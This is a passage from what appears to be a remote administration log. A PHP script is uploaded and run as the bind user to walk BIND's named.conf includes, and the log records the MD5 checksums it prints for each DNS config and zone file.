MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:17:39: Establishing a connection
2026-07-15 13:17:39: 

PUT: /tmp/pkp104171

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:17:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp104171; rm /tmp/pkp104171'

2026-07-15 13:17:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:18:48: Establishing a connection
2026-07-15 13:18:48: 

PUT: /tmp/pkp975986

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:18:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp975986; rm /tmp/pkp975986'

2026-07-15 13:18:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
